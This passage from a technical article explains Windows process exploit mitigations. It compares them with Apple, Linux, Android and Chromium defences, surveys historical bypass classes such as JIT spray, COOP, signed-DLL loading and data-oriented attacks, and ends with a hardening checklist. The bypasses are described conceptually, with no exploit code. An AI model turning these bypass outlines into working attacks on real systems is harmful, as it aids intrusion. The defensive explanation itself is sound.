&lt;p&gt;Microsoft is not the only vendor with a per-process mitigation surface. Apple, Linux distributions, Chromium, and ARM-the-vendor are all in the same business, and they have made different structural choices. The honest comparison surfaces where Windows is ahead, where it is behind, and where the gap is not really a gap because the platforms solve slightly different problems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Apple: Hardened Runtime, ARM PAC, and JIT entitlement.&lt;/strong&gt; Apple shipped Pointer Authentication Codes (PAC) on the A12 (iPhone XS, September 2018) and on every Mac M1 onward. PAC signs a code pointer with a per-process cryptographic key held in privileged hardware registers, storing the signature in the unused upper bits of a 64-bit pointer. The ARM &lt;code&gt;PACIA&lt;/code&gt;, &lt;code&gt;AUTIA&lt;/code&gt;, &lt;code&gt;PACIB&lt;/code&gt;, and &lt;code&gt;AUTIB&lt;/code&gt; instructions sign and verify [@wiki-armv83a]; an unsigned or wrongly-signed pointer dereferenced through a &lt;code&gt;BR&lt;/code&gt;/&lt;code&gt;BLR&lt;/code&gt; instruction with the AUT variant faults. PAC is &lt;em&gt;structurally stronger&lt;/em&gt; than CFG/XFG/CET because the key is held in privileged state and is unforgeable from user mode -- there is no bitmap to lift the validation through.&lt;/p&gt;
&lt;p&gt;Apple&apos;s JIT entitlement (&lt;code&gt;com.apple.security.cs.allow-jit&lt;/code&gt;) is a stronger architectural answer than ACG [@apple-hardened-runtime]. Code that wants to JIT must declare it at build time and is granted a specific in-process W^X carve-out &lt;em&gt;only if&lt;/em&gt; the entitlement is signed into the binary&apos;s code signature. The result: JIT capability is an attribute of the &lt;em&gt;signed binary&lt;/em&gt; rather than a runtime API call, which closes the race-the-mitigation-window class structurally rather than by API migration (&lt;code&gt;UpdateProcThreadAttribute&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Linux: SELinux, landlock, LLVM &lt;code&gt;-fsanitize=kcfi&lt;/code&gt;, LLVM &lt;code&gt;-fsanitize=cfi-icall&lt;/code&gt;.&lt;/strong&gt; Forward-edge CFI in the Linux kernel first arrived in version 5.13 (June 2021) as an LTO-based jump-table implementation; the second-generation &lt;code&gt;-fsanitize=kcfi&lt;/code&gt; scheme, which places a 32-bit type hash immediately before each function entry and does not require link-time optimization, replaced it in 6.1 (December 2022) [@lwn-corbet-kcfi]. The kCFI design is conceptually very close to XFG, but cheap enough to deploy on a kernel build because it sheds the LTO requirement. LLVM&apos;s user-mode &lt;code&gt;-fsanitize=cfi-icall&lt;/code&gt; provides per-prototype CFI via jump-table dispatch but still requires LTO [@clang-cfi-doc]. SELinux operates at a different layer of the stack (mandatory access control on filesystem and IPC resources) and is not directly comparable to a control-flow defense -- it constrains &lt;em&gt;what the process can do&lt;/em&gt; rather than &lt;em&gt;what control flows the process can follow&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chromium / V8 sandbox.&lt;/strong&gt; Chrome enables CFG on Windows, leans on ARM PAC on macOS, and is layering the V8 sandbox on top of all of them [@v8-sandbox-blog]. The V8 sandbox is a Chrome-side software defense: it confines a compromised renderer to a specific bounded memory range, so a renderer-process compromise cannot synthesize pointers to arbitrary out-of-sandbox memory. The V8 sandbox sits inside the renderer (different from the OOP-JIT trust boundary above it) and aims to make even a fully-compromised JIT-output bug non-fatal at the system level.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Android: Scudo allocator and ARM Memory Tagging Extension (MTE).&lt;/strong&gt; MTE attaches a 4-bit tag to every 16-byte allocation [@arm-mte-newsroom]. The CPU enforces the tag on every pointer dereference: tag mismatch raises a synchronous exception. Pixel 8 (October 2023) was the first consumer device with MTE-default-on for the kernel and key system services [@arm-mte-newsroom]. MTE catches the &lt;em&gt;cause&lt;/em&gt; (use-after-free, linear overflow into the next allocation) rather than the &lt;em&gt;symptom&lt;/em&gt; (control-flow hijack). It is conceptually orthogonal to CFI. The hard part is perf cost on memory-tagged loads, meaningful enough that even Apple has not enabled MTE on iOS as of 2026.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Forward-edge&lt;/th&gt;
&lt;th&gt;Backward-edge&lt;/th&gt;
&lt;th&gt;Dynamic code&lt;/th&gt;
&lt;th&gt;Memory safety&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Windows (x64)&lt;/td&gt;
&lt;td&gt;CFG (coarse), XFG (deprecated)&lt;/td&gt;
&lt;td&gt;CET shadow stack&lt;/td&gt;
&lt;td&gt;ACG&lt;/td&gt;
&lt;td&gt;none structural&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apple (ARM64)&lt;/td&gt;
&lt;td&gt;PAC (cryptographic, per-process key)&lt;/td&gt;
&lt;td&gt;PAC (signs return addresses too)&lt;/td&gt;
&lt;td&gt;JIT entitlement (declarative)&lt;/td&gt;
&lt;td&gt;none structural&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux kernel&lt;/td&gt;
&lt;td&gt;&lt;code&gt;-fsanitize=kcfi&lt;/code&gt; (LLVM 6.1+)&lt;/td&gt;
&lt;td&gt;shadow stack on x86 CET; PAC-RA on ARM&lt;/td&gt;
&lt;td&gt;not a kernel issue&lt;/td&gt;
&lt;td&gt;Rust-in-kernel pilot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Android&lt;/td&gt;
&lt;td&gt;PAC + BTI on supported SoCs&lt;/td&gt;
&lt;td&gt;BTI / shadow call stack&lt;/td&gt;
&lt;td&gt;sandboxed by selinux + seccomp&lt;/td&gt;
&lt;td&gt;MTE on Pixel 8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chromium&lt;/td&gt;
&lt;td&gt;per-platform forward-edge&lt;/td&gt;
&lt;td&gt;per-platform backward-edge&lt;/td&gt;
&lt;td&gt;OOP JIT + V8 sandbox&lt;/td&gt;
&lt;td&gt;layered&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The honest accounting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ARM PAC plus MTE is structurally stronger than CFG plus CET, because the cryptographic key (PAC) and the tag (MTE) are CPU-enforced state that no user-mode primitive can forge.&lt;/li&gt;
&lt;li&gt;Apple&apos;s JIT entitlement is a stronger architectural answer than ACG because it is declarative at signing time rather than imperative at process startup.&lt;/li&gt;
&lt;li&gt;SELinux/landlock is at a different layer (data access control) and is not directly comparable -- it solves a different problem.&lt;/li&gt;
&lt;li&gt;Windows&apos;s mitigation surface is the &lt;em&gt;most extensively deployed and most frequently extended&lt;/em&gt; per-process surface in industry use, by a wide margin. Twenty actual policies is more than any other vendor exposes to applications, and the API is stable, documented, and ABI-compatible across Windows versions back to Windows 8.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MTE catches what CFI cannot. A use-after-free that produces a controllable write -- but never violates the control-flow graph -- is invisible to CFG, XFG, CET, and PAC, but raises an MTE tag-mismatch fault on the very first attacker-controlled dereference. This is the structural reason memory-tagging is the emerging frontier and the structural reason a Windows-on-ARM-with-MTE future would close attack classes the current per-process surface cannot reach.&lt;/p&gt;
&lt;p&gt;Stronger primitives exist on competing platforms. But Microsoft&apos;s per-process surface is the most extensively-deployed and most-frequently-extended in industry use. The &lt;em&gt;bypasses&lt;/em&gt; are what tell us where the surface still leaks.&lt;/p&gt;
&lt;h2&gt;12. How attackers respond to a fully hardened process&lt;/h2&gt;
&lt;p&gt;Every generation of Windows mitigation has shipped with a named bypass within a year of its release. Here is the tradition, one named class per defensive generation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Signed-DLL injection.&lt;/strong&gt; Predates CIG. Find a Microsoft-signed DLL with a controllable side effect -- a DLL-search-order hijack against a signed Windows component, an Authenticode-padding write (CVE-2013-3900 family), or a signed driver with a known IOCTL privilege primitive. CIG sees a valid Microsoft signature and lets the DLL load. The mitigation is reactive: Microsoft&apos;s App Control / WDAC blocklist and the Driver Block List enumerate hundreds of banned-but-signed binaries; the list grows every quarter; the attacker&apos;s job is to find one not yet on it. This is one of the unsolved problems section 14 names.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JIT spray as a CFG bypass (Theori, 2016).&lt;/strong&gt; The canonical writeup is Theori&apos;s &lt;em&gt;Chakra JIT CFG Bypass&lt;/em&gt; [@theori-chakra-cfg-bypass]. The page itself states verbatim that the bypass targeted Microsoft Security Bulletin MS16-119 (October 2016) -- a Chakra fix that tightened the JIT&apos;s emit pattern. The technique: persuade the Chakra JIT to emit attacker-chosen byte sequences inside JIT-allocated code pages, at addresses the attacker has marked as valid CFG targets via the &lt;code&gt;SetProcessValidCallTargets&lt;/code&gt; carve-out. The MS16-119 patch shrank the set of byte sequences a JavaScript program could induce the JIT to emit, but did not eliminate the technique structurally -- the structural fix was ACG (move the JIT out of process), section 8.&lt;/p&gt;

An exploitation technique in which an attacker writes JavaScript (or another JIT-targeted language) that causes the runtime JIT compiler to emit a long sequence of executable bytes at predictable addresses, where some of those emitted bytes form a useful gadget chain when reinterpreted at an offset. The classic JIT spray (Dion Blazakis, BHDC 2010) used Adobe Flash&apos;s ActionScript JIT. The 2016 Theori work generalised the idea to use the JIT to emit *CFG-valid* function-entry bytes [@theori-chakra-cfg-bypass].
&lt;p&gt;&lt;strong&gt;COOP -- code-reuse without a single CFG-invalid call.&lt;/strong&gt; Discussed in section 5; recapped here as the &lt;em&gt;first&lt;/em&gt; bypass class against coarse-grained forward-edge CFI [@coop-ieeesecurity-pdf]. The structural fix is fine-grained CFI: XFG, which Microsoft did not enforce by default and has since deprecated; LLVM&apos;s &lt;code&gt;-fsanitize=cfi-icall&lt;/code&gt; and &lt;code&gt;-fsanitize=kcfi&lt;/code&gt;; ARM PAC. The per-prototype hash check that XFG would have provided is exactly the property that closes COOP.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Race-the-mitigation-window (Forshaw + Fratric, 2017).&lt;/strong&gt; Discussed in section 8; recapped here. The structural fix is &lt;code&gt;UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY)&lt;/code&gt;, which installs mitigation policies &lt;em&gt;by the kernel&lt;/em&gt; at &lt;code&gt;CreateProcess&lt;/code&gt; time, before any user-mode code in the child runs. The race window between &lt;code&gt;CreateProcess&lt;/code&gt; return and the child&apos;s &lt;code&gt;SetProcessMitigationPolicy&lt;/code&gt; call is structurally closed. Documented in the Project Zero issue [@p0-issue-42450607] and the Exploit-DB mirror [@exploit-db-44467].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The CET-bypass research direction (McGarr, 2025).&lt;/strong&gt; Connor McGarr&apos;s Black Hat USA 2025 deck &lt;em&gt;Out of Control&lt;/em&gt; names the live research front: kCFG and kCET in the Windows kernel [@mcgarr-bhusa25]. The deck enumerates bypass classes that survive both kernel-mode CFG and kernel-mode CET: page-table modification of the kCFG bitmap (requires kernel write primitives the attacker may already have), abuse of unprotected global function-pointer arrays, structural limits of CET when the attacker is operating with kernel privileges in the first place. The user-mode mitigation surface is mature; the kernel-mode surface is where the live work happens. Hypervisor-Protected Code Integrity (HVCI) is what makes kCFG bitmap mutations harder -- the bitmap is in VTL1, and a VTL0 kernel write cannot touch it -- which is the cross-link to the VBS/Trustlets sibling article in this series.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cross-context PAC oracles (Apple).&lt;/strong&gt; Listed for comparative completeness. PAC&apos;s per-process key is forgeable if an attacker can call into a function that signs an attacker-controlled pointer with the per-process key and then read the result. This is a known research class on Apple platforms and has produced several CVEs against Safari and iOS over the past five years.&lt;/p&gt;

flowchart LR
    A[1996 stack smashing] --&amp;gt;|defended by| B[2004 DEP/NX]
    B --&amp;gt;|bypassed by| C[2007 ROP]
    C --&amp;gt;|defended by| D[2014 CFG]
    D --&amp;gt;|bypassed by| E[2015 COOP]
    D --&amp;gt;|bypassed by| F[2016 Theori&lt;br /&gt;JIT spray as&lt;br /&gt;CFG bypass]
    F --&amp;gt;|defended by| G[2017 ACG]
    G --&amp;gt;|bypassed by| H[2017 Forshaw&lt;br /&gt;Fratric race]
    H --&amp;gt;|defended by| I[UpdateProc-&lt;br /&gt;ThreadAttribute]
    G --&amp;gt;|defended by| J[2020 CET&lt;br /&gt;shadow stack]
    J --&amp;gt;|new front| K[2025 McGarr&lt;br /&gt;kCFG kCET&lt;br /&gt;research]
&lt;p&gt;The honest summary is that three classes of bypass survive a fully-stacked user-mode process today:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Signed-but-vulnerable DLL hijack -- defeats CIG by definition (publisher check, not content check).&lt;/li&gt;
&lt;li&gt;COOP-style chains where the prototypes match the call site -- defeats CFG (coarse-grained) and is not closed by CET because the call/return invariant holds.&lt;/li&gt;
&lt;li&gt;Data-only attacks -- which never violate any control-flow invariant at all, because no control transfer is hijacked.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;What is the theoretical limit on what process mitigations can do? That is the next section.&lt;/p&gt;
&lt;h2&gt;13. What process mitigations cannot do&lt;/h2&gt;
&lt;p&gt;The Abadi paper that founded CFI in 2005 [@msr-cfi] is also the paper that establishes CFI&apos;s structural ceiling. CFI is, by construction, a &lt;em&gt;control-flow&lt;/em&gt; property. That is exactly the property a sophisticated attacker can avoid violating.&lt;/p&gt;
&lt;p&gt;The formal claim from Abadi, Budiu, Erlingsson, and Ligatti: enforcement of CFI restricts an attacker to control-flow transfers that respect the static call graph. The paper &lt;em&gt;does not say&lt;/em&gt; every reachable program behavior is benign. CFI says &quot;the attacker&apos;s control flow stays inside the legal CFG.&quot; It does not say &quot;the legal CFG is benign.&quot; Any attack that operates entirely within the legal CFG is invisible to any CFI variant, including CFG, XFG, CET, PAC, and kCFI.&lt;/p&gt;
&lt;p&gt;The lower bound on what an attacker can do &lt;em&gt;while staying inside the legal CFG&lt;/em&gt; is given by data-oriented programming. The canonical paper is &lt;em&gt;Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks&lt;/em&gt; by Hong Hu, Shweta Shinde, Sendroiu Adrian, Zheng Leong Chua, Prateek Saxena, and Zhenkai Liang, all of the National University of Singapore Department of Computer Science [@dop-paper]. The abstract is constructive and devastating: &quot;such attacks are Turing-complete. We present a systematic technique called data-oriented programming (DOP) to construct expressive non-control data exploits.&quot;&lt;/p&gt;

An exploitation technique in which the attacker corrupts non-control data -- authentication flags, length fields, function-table indices, loop bounds -- and lets the program&apos;s own legitimate, unmodified control flow execute the attacker&apos;s intended computation. Hu, Shinde, Adrian, Chua, Saxena, and Liang proved DOP is Turing-complete: any computation can be expressed as a chain of data-only corruptions in a sufficiently-large program [@dop-paper]. No CFI variant -- CFG, XFG, CET shadow stack, ARM PAC, kCFI -- can detect a DOP attack, because no control flow is hijacked.
&lt;p&gt;The mechanism: the attacker corrupts a &lt;code&gt;current_user.is_admin&lt;/code&gt; flag rather than redirecting a function pointer. They corrupt a &lt;code&gt;buffer_len&lt;/code&gt; field to enable a subsequent legitimate write past the allocation&apos;s intended end. They corrupt a &lt;code&gt;next_state&lt;/code&gt; index to drive a state machine through an attacker-chosen path. The program&apos;s own logic, executing every instruction the compiler emitted and following every control transfer the static call graph allows, performs the attack. DOP is, in a precise sense, the program working as designed -- on data the attacker has chosen.&lt;/p&gt;
&lt;p&gt;A second structural limit: process mitigations are &lt;em&gt;per-process&lt;/em&gt;. The kernel has a parallel mitigation surface (kCFG, kCET, HVCI, Secure Kernel, the VBS/Trustlets stack) the per-process policies do not touch [@mcgarr-bhusa25]. The user-mode hardening recipe stops at the syscall boundary. Everything beyond is the kernel&apos;s job. A renderer that is fully hardened can still be the entry point for a kernel privilege escalation if a syscall takes attacker-controlled input and the kernel-side code path has its own bug.&lt;/p&gt;
&lt;p&gt;The third structural limit is the most uncomfortable to state.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Process mitigations harden the exploit chain. They do not fix the bug. The C/C++ memory-safety bug is still there; mitigations just constrain what the attacker can do with it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Matt Miller, then a senior security engineer at the Microsoft Security Response Center, said this in his Black Hat IL 2019 talk. The deck is on GitHub at the Microsoft MSRC Security Research repository, with the load-bearing slide preserved verbatim [@miller-bhil-pdf]:&lt;/p&gt;

~70% of the vulnerabilities addressed through a security update each year continue to be memory safety issues. -- Matt Miller, BlueHat IL 2019 [@miller-bhil-pdf]
&lt;p&gt;ZDNet&apos;s contemporaneous coverage extended the claim: &quot;around 70 percent of all the vulnerabilities in Microsoft products addressed through a security update each year are memory safety issues; a Microsoft engineer revealed last week at a security conference; over the last 12 years, around 70 percent of all Microsoft patches were fixes for memory safety bugs&quot; [@zdnet-70percent].&lt;/p&gt;
&lt;p&gt;Seventy percent. For a decade. The mitigations in this article -- CFG, XFG, CET, ACG, CIG, every smaller policy in the enum -- exist precisely because that number was not going down. Each generation raises the cost of weaponizing a memory-safety bug into a working exploit. None of them reduces the rate at which memory-safety bugs are introduced into the codebase in the first place.&lt;/p&gt;

For the kernel-mode side -- kCFG, kCET, HVCI, and the Trustlets that execute in the Virtual Trust Level 1 (VTL1) Secure Kernel layer -- see the *VBS and Trustlets* sibling article in this series. The user-mode and kernel-mode mitigation surfaces are designed to compose: a renderer hardened to the canonical recipe in section 10, syscalling into a kernel hardened with kCFG and kCET, and protected by an HVCI hypervisor, is the layered defense Microsoft&apos;s strategic direction since 2014 has been building toward.
&lt;p&gt;The only ceiling-breaker is to replace the &lt;em&gt;language&lt;/em&gt; (so the bug never exists) or to replace the &lt;em&gt;memory model&lt;/em&gt; (so the bug cannot be turned into a primitive). The two long-term answers are: memory-safe systems languages, principally Rust (Microsoft has been publicly committing to Rust in Windows since 2019 [@msrc-rust-2019]); and capability-hardware platforms like CHERI and ARM MTE, which catch the bug at the dereference rather than the chain.&lt;/p&gt;
&lt;p&gt;Three things have to be true for mitigations to keep buying time:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Each new mitigation closes a specific attack class -- which means a specific bypass class becomes the next research front.&lt;/li&gt;
&lt;li&gt;Each new bypass class must take an attacker longer to develop than it takes Microsoft to ship the next mitigation -- otherwise the curve goes the wrong way.&lt;/li&gt;
&lt;li&gt;The fraction of memory-safety bugs in shipped code has to either stop rising or start falling -- otherwise no number of mitigations stacks fast enough.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Mitigations are a delaying action. The long-term answer is somewhere else. The reader&apos;s belief at this point is no longer &quot;stack enough mitigations and we win.&quot; It is &quot;mitigations have a structural ceiling, and the bug is still there.&quot; If process mitigations have a ceiling, what is Microsoft pivoting toward, and what is the open frontier?&lt;/p&gt;
&lt;h2&gt;14. Open problems&lt;/h2&gt;
&lt;p&gt;Six things are still unsolved -- or, more precisely, six things are partially solved in ways that are documented but visibly imperfect.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Forward-edge CFI without recompilation.&lt;/strong&gt; Binary-rewriting CFI (BinCFI, Mocfi, Lockdown) is not production-grade on Windows. Microsoft&apos;s strategic answer is &quot;recompile first-party code with &lt;code&gt;/guard:cf&lt;/code&gt; and accept that legacy third-party binaries remain unguarded.&quot; That answer is a long-tail problem: the surface of legacy third-party DLLs that load into hardened Windows processes (drivers, COM components, accessibility tools) is large, slow to recompile, and outside Microsoft&apos;s direct control.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Backward-edge protection on pre-CET hardware.&lt;/strong&gt; Microsoft&apos;s pre-CET internal experiment was Return Flow Guard (RFG), a software-implemented per-thread shadow stack maintained by the runtime rather than the CPU. Tencent Xuanwu Lab bypasses came faster than Microsoft could harden RFG [@wiki-cfi]; Microsoft pivoted to wait for Intel CET. Pre-Tiger-Lake (pre-September-2020) Intel hardware and pre-Zen-3 (pre-November-2020) AMD hardware remain unprotected on the backward edge. Enterprises that need backward-edge protection on older hardware have to sandbox in VBS-isolated VMs -- cross-link to the VBS/Trustlets sibling article.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. The JIT-engine compatibility tax under ACG.&lt;/strong&gt; Out-of-process JIT adds roughly a millisecond per JIT compilation for the IPC round-trip. For short-lived JavaScript (lots of small functions, one-shot pages, ad-network microservices), this is significant. Chrome&apos;s V8 sandbox project (active since 2023) confines the JIT process to a sandboxed memory range of the renderer&apos;s address space, which closes the IPC-level attack class but does not erase the perf cost [@v8-sandbox-blog]. Interpreter-only renderers for low-trust contexts (small pages, ad iframes) are the medium-term direction; the cost is the runtime perf gap to fully-jitted JS.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. ACG plus AV interoperability.&lt;/strong&gt; Defender&apos;s &lt;code&gt;MsMpEng.exe&lt;/code&gt; cannot enable ACG. The scanner engine generates code at runtime: signature compilation routines, emulator bytecode, regex JITs. Migration to interpreted bytecode is partial. This is a permanent compatibility tension between W^X-as-process-invariant and runtime-generated-code-as-a-feature, and it shows up in every AV engine across every vendor (CrowdStrike Falcon, SentinelOne, Symantec), not just Defender.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Signed-but-vulnerable Microsoft DLLs as universal CIG-bypass loaders.&lt;/strong&gt; The Microsoft-signed DLL surface is enormous and historically full of side-effect DLLs. The App Control / WDAC blocklist is reactive. The blocklist publishes quarterly. New signed-but-vulnerable DLLs are found every quarter. This is a permanent residual risk against CIG and the structural reason vendors with sensitive workloads sometimes run with &lt;code&gt;MitigationOptIn&lt;/code&gt; plus a per-process allowlist rather than &lt;code&gt;MicrosoftSignedOnly&lt;/code&gt; plus an unbounded universe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. XFG default-on tradeoffs.&lt;/strong&gt; XFG&apos;s instrumentation is in the MSVC binaries; the dispatch thunks are in &lt;code&gt;ntdll.dll&lt;/code&gt;. Enforcement-by-default never shipped. McGarr&apos;s BHUSA 2025 deck names XFG as &quot;deprecated&quot; [@mcgarr-bhusa25]; Microsoft&apos;s strategic direction is hardware-backed CFI (CET shadow stack for the backward edge) plus KCFG / KCET in the kernel. The unsolved question is whether the &lt;em&gt;forward edge&lt;/em&gt; can ever get fine-grained protection without the compatibility cost that killed XFG. Apple&apos;s PAC suggests yes (because the cryptographic key approach has zero compatibility cost on cast); LLVM&apos;s &lt;code&gt;-fsanitize=cfi-icall&lt;/code&gt; suggests yes for code built end-to-end with LTO. Neither has a Windows analog as of 2026.&lt;/p&gt;

Recompile first-party code with `/guard:cf /CETCOMPAT`. Push the kernel hardening (kCFG, kCET, HVCI) forward, since the user-mode surface is mature. Lean on hardware (Intel CET, AMD shadow stack, eventually MTE-on-Windows-on-ARM) rather than software heuristics. Accept that legacy unrecompiled binaries remain unguarded and quarantine them in lower-trust VBS-isolated contexts. That is the strategy McGarr&apos;s 2025 deck implies and that the Defender / Edge / Recall configurations in the section 10 matrix execute [@mcgarr-bhusa25].
&lt;p&gt;Six open problems. The first four are engineering. The last two are structural. The structural ones suggest the next-decade answer is not a better mitigation, but a different memory model: Rust, CHERI, MTE.&lt;/p&gt;
&lt;h2&gt;15. Practical guide: ten steps to ship a hardened binary&lt;/h2&gt;
&lt;p&gt;Concrete. Ten steps. By the end of this checklist, your new sandboxed-parser binary is hardened to the canonical 2026 recipe.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run &lt;code&gt;dumpbin /headers /loadconfig YourBinary.exe&lt;/code&gt;. Verify the &lt;code&gt;Guard Flags&lt;/code&gt; word is non-zero, that &lt;code&gt;FID Table present&lt;/code&gt; is in the output, and that the &lt;code&gt;Guard CF Function Table&lt;/code&gt; is non-empty [@ms-cfg-doc].&lt;/li&gt;
&lt;li&gt;Compile and link with: &lt;code&gt;/guard:cf&lt;/code&gt; &lt;code&gt;/guard:cfw&lt;/code&gt; &lt;code&gt;/CETCOMPAT&lt;/code&gt; &lt;code&gt;/DYNAMICBASE&lt;/code&gt; &lt;code&gt;/HIGHENTROPYVA&lt;/code&gt; &lt;code&gt;/NXCOMPAT&lt;/code&gt;. The &lt;code&gt;/CETCOMPAT&lt;/code&gt; flag requires Visual Studio 2019 or later and x64 only [@ms-guard-cf-compiler, @ms-guard-cf-linker, @ms-cetcompat].&lt;/li&gt;
&lt;li&gt;Call &lt;code&gt;SetProcessMitigationPolicy&lt;/code&gt; (or, better, &lt;code&gt;UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY)&lt;/code&gt; for child processes) for: &lt;code&gt;ProcessDynamicCodePolicy&lt;/code&gt;, &lt;code&gt;ProcessExtensionPointDisablePolicy&lt;/code&gt;, &lt;code&gt;ProcessImageLoadPolicy&lt;/code&gt; (with &lt;code&gt;NoRemoteImages&lt;/code&gt; plus &lt;code&gt;NoLowMandatoryLabelImages&lt;/code&gt; plus &lt;code&gt;PreferSystem32Images&lt;/code&gt;), &lt;code&gt;ProcessStrictHandleCheckPolicy&lt;/code&gt;, &lt;code&gt;ProcessSystemCallDisablePolicy&lt;/code&gt; (if your process does not draw windows), and &lt;code&gt;ProcessUserShadowStackPolicy&lt;/code&gt; (with &lt;code&gt;EnableUserShadowStack&lt;/code&gt; and, for the most-hardened sandboxes, &lt;code&gt;BlockNonCetBinaries&lt;/code&gt;) [@ms-setprocessmitigationpolicy, @ms-dynamic-code-policy, @ms-image-load-policy, @ms-user-shadow-stack-policy].&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY)&lt;/code&gt; rather than post-&lt;code&gt;CreateProcess&lt;/code&gt; policy installation for any child process. This is the single most important step on this list.&lt;/li&gt;
&lt;li&gt;Audit with &lt;code&gt;Set-ProcessMitigation -PolicyFilePath&lt;/code&gt; (Group Policy / Intune deployable XML). The schema and the cmdlet are documented in the Defender Exploit Protection reference [@ms-defender-exploit-protection].&lt;/li&gt;
&lt;li&gt;For sandboxed parsers (PDF, image, video, font), enable &lt;code&gt;ProcessFontDisablePolicy&lt;/code&gt;. Refuse non-system fonts at the per-process layer.&lt;/li&gt;
&lt;li&gt;For signed-component-only processes, enable &lt;code&gt;ProcessSignaturePolicy(MicrosoftSignedOnly)&lt;/code&gt;. Accept that some third-party DLLs will not load and document each gap in your threat model [@ms-binary-signature-policy].&lt;/li&gt;
&lt;li&gt;For browser-class sandboxed children, prohibit child-process creation with &lt;code&gt;ProcessChildProcessPolicy&lt;/code&gt;. Closes the renderer-to-&lt;code&gt;cmd.exe&lt;/code&gt; pivot class.&lt;/li&gt;
&lt;li&gt;Validate the rendered policy at runtime with &lt;code&gt;Get-ProcessMitigation -Name &amp;lt;binary&amp;gt;&lt;/code&gt;. Spot-check that every flag you set in code is reflected in the cmdlet output [@ms-defender-exploit-protection].&lt;/li&gt;
&lt;li&gt;For each policy you &lt;em&gt;cannot&lt;/em&gt; enable, document the structural reason in your threat model. A binary that misses CIG because it depends on third-party COM add-ins is making a deliberate threat-model choice; that choice must be visible to the security review.&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code&gt;UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY)&lt;/code&gt; closes the race-the-mitigation-window class structurally (section 8, section 12). Every other step on this list is a useful addition. Step 4 is the load-bearing step that lets every other step work as designed. Without it, a peer process in the same security context can disable any of the others between &lt;code&gt;CreateProcess&lt;/code&gt; and the child&apos;s first attempt to install its policies.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The composition of the policy bitfield itself is mechanical. Each policy is a small DWORD-sized structure; the mitigation-policy attribute for &lt;code&gt;UpdateProcThreadAttribute&lt;/code&gt; packs the relevant flags into a 64-bit &lt;code&gt;MitigationOptions&lt;/code&gt; value plus an optional 64-bit &lt;code&gt;MitigationAuditOptions&lt;/code&gt; value.&lt;/p&gt;

Run this in an elevated PowerShell session, replacing `msedge.exe` with the basename of your binary:&lt;pre&gt;&lt;code&gt;Get-ProcessMitigation -Name msedge.exe |
  Format-List CFG, CETShadowStack, BinarySignature, DynamicCode,
              ExtensionPoint, ImageLoad, StrictHandle, SystemCall,
              ChildProcess, FontDisable, PayloadRestriction,
              SideChannelIsolation, ASLR, DEP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each block in the output shows &lt;code&gt;Enable&lt;/code&gt;, &lt;code&gt;Audit&lt;/code&gt;, and the subordinate flag word with its individual boolean fields. Spot-check that every flag your code sets in &lt;code&gt;SetProcessMitigationPolicy&lt;/code&gt; is reflected as &lt;code&gt;ON&lt;/code&gt; in the cmdlet output, and that any &lt;code&gt;OFF&lt;/code&gt; or &lt;code&gt;NOTSET&lt;/code&gt; cell has a documented structural reason in your threat model [@ms-defender-exploit-protection].
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;{`
// Each name is documented in PROCESS_CREATION_MITIGATION_POLICY_* constants
// in winnt.h. The bit positions below match the Microsoft Learn reference.
const POL = {
  // First DWORD: legacy mitigations
  &apos;DEP_ENABLE&apos;:                     0x01n &amp;lt;&amp;lt; 0n,
  &apos;DEP_ATL_THUNK_ENABLE&apos;:           0x01n &amp;lt;&amp;lt; 1n,
  &apos;SEHOP_ENABLE&apos;:                   0x01n &amp;lt;&amp;lt; 2n,
  &apos;FORCE_RELOCATE_IMAGES_ALWAYS_ON&apos;:0x01n &amp;lt;&amp;lt; 8n,
  &apos;HEAP_TERMINATE_ALWAYS_ON&apos;:       0x01n &amp;lt;&amp;lt; 12n,
